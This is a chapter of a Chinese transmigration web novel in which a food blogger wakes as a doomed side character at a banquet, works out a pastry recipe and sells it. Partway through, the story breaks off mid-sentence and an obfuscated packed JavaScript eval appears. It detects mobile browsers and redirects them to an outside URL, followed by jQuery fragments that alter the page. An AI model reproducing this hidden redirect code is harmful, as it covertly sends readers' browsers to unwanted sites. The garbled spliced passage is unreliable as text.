“这么多人的宴席上,也能睡得着?”
迷迷蒙蒙地,苏有青听到了一阵嗤笑声。
她想睁眼看看是什么情况,却在胡乱间被什么东西呛到了。
把东西咳出去后,苏有青眼前终于清明。她坐直了身,循声看到一个陌生男子,裹着一身长布就跑出来碍人眼了。
那男子瞟了眼地上,皱着眉继续说道:“草包就是草包,贪吃都能被呛到,真恶心。”
刚清醒的苏有青不知这人为何要站在自己面前,于是她有话说话道:“我认识你吗?”
没想到面前的人急了,又来了一串情绪激烈的言语:“装不认识?平时追在我屁股后面的不是你?我愿意搭理都是抬举你了!”
苏有青更莫名其妙了:“你鼻子上的玩意儿是摆设吗?丑东西还挺敢做梦的。”
“你......你......”
来人好半会儿没憋出新的话,最后带着一阵红一阵白的脸色离开了。他身后的小厮也是始料不及,忙不迭跟着主子走了。
终于得了清净,苏有青端起案几上的茶水,顺了顺喉舌。方才不知道是什么堵在了口腔里。
一盏饮尽,她默默吐槽:“怎么又是普洱,不爱喝。”
等等。苏有青突然脑子一紧。
我今天泡的不是碧螺春吗?
苏有青一向规划得当,每天的日程计划都能按时按量完成,也很少在记忆上出差错。
尤其是吃喝方面的记忆。
她正要翻找出平日里随身携带的日程本,却对着身上的直袖衫裙愣了眼。
再看向周围的宴席摆设,苏有青更迷茫了。
这造景,这排场,如果是沉浸式剧本杀,那票价可不低。
还没等苏有青倒推出时间线,又有个古风装扮的女子寻来了:“小姐小姐,我拿了盘新出炉的果子,快尝尝!”
见苏有青没说话,女子将盘子搁在案几上,腾出手来在她眼前挥舞了几下:“小姐?怎的不说话了?”
苏有青眨眨眼:“你是谁?”
女子被问懵了,但仍然老老实实地回答:“我是包菜啊小姐,怎么了?”
比苏有青的下一问先到的,是一阵剧烈的头疼。
她明明记得自己是在熬夜看小说,怎么再睁眼就换了天了。
看小说。想到这里,苏有青的头更痛了。
她突然有了一个大胆的猜测,遂小心翼翼地问身边人:“那我又是谁?”
包菜欲哭无泪,不知道自家小姐今天演的又是哪一出:“别逗我了小姐,您是京城苏家的二小姐啊。这里是张府办的春日宴,在为一旬后的新厨小试造势呢。”
苏有青老实了。
她也知道这是哪里了。
闭眼前她还在看这段剧情,想学做春日宴上的一道绿茶酥饼。
按书中描述,那酥饼是酥脆又香软,外圈又沾着白芝麻,和别的果子大有不同。
就跟女配的仆从端来的那盘似的。
苏有青长叹了一口气。
作为互联网时代的新锐美食博主,她最近推出了一个新的系列主题,复刻书中用文字描述的美食。
一开始,苏有青追着几本古典小说的节奏,根据菜名和书里提及的食材和口味,尝试做出成品。几个视频发出后,观众乐此不疲,在评论区点播其它想看的内容。
最近,观众朋友们热情地指向了一本美食文。
观众很期待她和这本书的联动,因为除去美食外,书中还有个女配。那角色的字和她的账号名称一致,都叫“有肴”。
看着后台众多的留言,苏有青乐了。何止字,她俩从姓到名都一模一样。
于是苏有青就顺着观众的指路,打开了这本书。
《御厨登高记》,一本最近小火的无cp小说,写的是女主从御厨做起,渐渐成为姬朝太子的得力之臣,最后助她登基的故事。
而女配苏有青则是女主的倒楣妹妹,出生御厨世家却怕火又怕油。她似乎少有优点,还在春日宴上被一口红果蒸糕噎死了。
现代人苏有青看得直摇头,不知道作者设置这样一个角色是图什么。
“我怀疑作者写她就是想给那个男配赋魅,显得多深情似的。生前天天嘴毒瞧不起人,死后倒是装上怀念了。”她跟闺蜜吐槽道。
苏有青还说:“如果我是她,先把那男的骂得狗血淋头,再趁机学会所有世家大族爱吃的菜,再学以致用,把‘有肴’做大做强。”
闺蜜乐半天:“赶紧的,把这本全文背诵,防止穿书了。”
苏有青也乐:“或者去查查作者是不是认识我。”
闺蜜怎么就一语成谶了。苏有青纷乱的情绪里夹杂了这么个念头。
“早知道真的会穿进来,我就直接看新帝登基的内容,再去抱女主的大腿了。”她嘟嘟囔囔地说。
包菜听到这蚊子哼的动静,歪头看向苏有青的脸色:“小姐说什么?”
“哦,没什么。”苏有青语气有些麻木,“就是头有点疼。”
说话的余光里,她瞟到了桌上的酥饼,又欢欢喜喜地坐直了身:
“这是绿茶饼吗?快给我尝尝。”
熬夜看书想要复刻的吃食就在眼前,苏有青也不急于分辨眼下境况了。
管它穿书还是做梦,来都来了,先吃饱再说。
万一下一秒又穿回去了,可不能白来一趟。她很是乐观。
苏有青咬开一口饼,看了眼饼中的层次,眼前一亮。
“有纸笔吗?”她问包菜。
包菜不知道小姐要做什么,但还是应下:“我去问问。”
这饼子茶香清新,牛乳味浓郁又不会太过抢睛。
本来依着原书的描述,苏有青还想不通,酥饼怎么能做到酥脆和香软共存。从咬开的蓬松层次来看,她有了新的猜测,许是店家混了猪油和黄油,用两种油一起和的面。
而饼铺别出心裁的秘方,或许就是别家没有的、从牛乳中炼出黄油的法子。
包菜已经寻了纸笔回来。她将案上的杯碟清到一侧,铺开一张麻纸,又递给苏有青一支笔。
苏有青比划了一下握笔姿势,才接过那支硬毫笔。
幸好以前学过国画。她暗暗想。
苏有青行云流水地写下自己的猜想。
两种动物油脂混合......饼胚不能太过湿软,起酥很多......内馅微甜,茶香
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278926|198329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
味为主......不宜烤制过火......
记下几条后,苏有青顿笔,咂了咂嘴。
她还没品出原料用的茶粉是什么品种,只觉得和现代的抹茶粉有些许出入。
像是什么顶尖的嫩芽做的,或许是时代特供吧,她想。
苏有青对面的假山后,赵往挑了挑眉。
他本不意欲久留,只是难得见到方非吃瘪,一时高兴就多站了一会儿。
尤其是在苏有青那儿吃的瘪。
赵往听说过那个苏有青,御厨苏家的二小姐。
姬朝国库丰盈又无外患,百姓一向安乐。日子好过了,人们便注重吃喝,朝廷也不例外。
姬朝不乏对厨子的追捧,苏御厨更是担得起一句“高官”。生于御厨世家本是幸事,然而听闻那苏有青小姐却是个五谷不分的。
可惜了苏师傅,桃李满天下,自家结苦瓜。
还有人传闻,说苏二小姐很是爱慕方非。赵往听得有些质疑。
那方非又是个什么东西,蠢笨得很,政见一塌糊涂还嘴硬,总在朝堂上针对皇姐。
不过百闻不如一见,如今看来,那姑娘不似旁人说的那般笨拙,反而带着些伶俐。
见苏有青讨了纸笔又急着写些什么,赵往示意小厮去看两眼。
“机灵点。”他说。
另一头,苏有青一阵奋笔疾书。搁下笔后,她拿起那张草字,满意地点了点头。
“包菜包菜,等我们回去就找个烤,哦不对,窑炉,试试这个方子。”苏有青边说边拍身旁人的胳膊。
不等包菜回话,旁边一个男声先打了岔:“叨扰了,姑娘。不知您说的是不是这些糕饼的方子?”
怎么又有人来,苏有青有点不耐烦了。
她不答反问:“有何贵干?”
那人赔着笑:“是这样,我们家老人很喜欢这城西饼铺的糕点,平日里想买些回家备着,那铺子都不让多买。听说张府为了这次春日宴,找这个老板说了好久的好话呢。”
铺垫不少后,他终于切入了正题:“我们家主子瞧姑娘像是对方子了如指掌,便想来问上一问,也方便家里老人可以随时吃上。”
苏有青有些想笑。来人这话听着不像是为了家中老人,更像是城东南北的对头商铺家的。
但她不管生意人的事。于是苏有青无谓地说:“行啊。按我这方子做出来的酥饼绝对好吃,二两银子卖你。售出不退,不过看不懂的可以来找我。”
苏有青觉得自己相当良心。她记得书里写过,京城酒楼的一盘松鼠桂鱼便要一两银子了。
“这......”对方哽住了。
然而他四下里看了一圈,还是上下摸了摸兜,一脸肉痛地用几个银疙瘩换了一张纸走了。
苏有青掂了掂那几个物件,听着金属碰撞的声音轻笑。
嘿嘿,其实自己也不知道这是几两。不过刚来这姬朝就赚到钱了,也算是好兆头。苏有青想。
她抬头看了眼那人离开的方向,又转过来问包菜:“他是哪家铺子的老板?”
半天下来,包菜已经对自家小姐的言行见怪不怪了。她木然作答:“小姐,那是今上三皇子身边的石头。”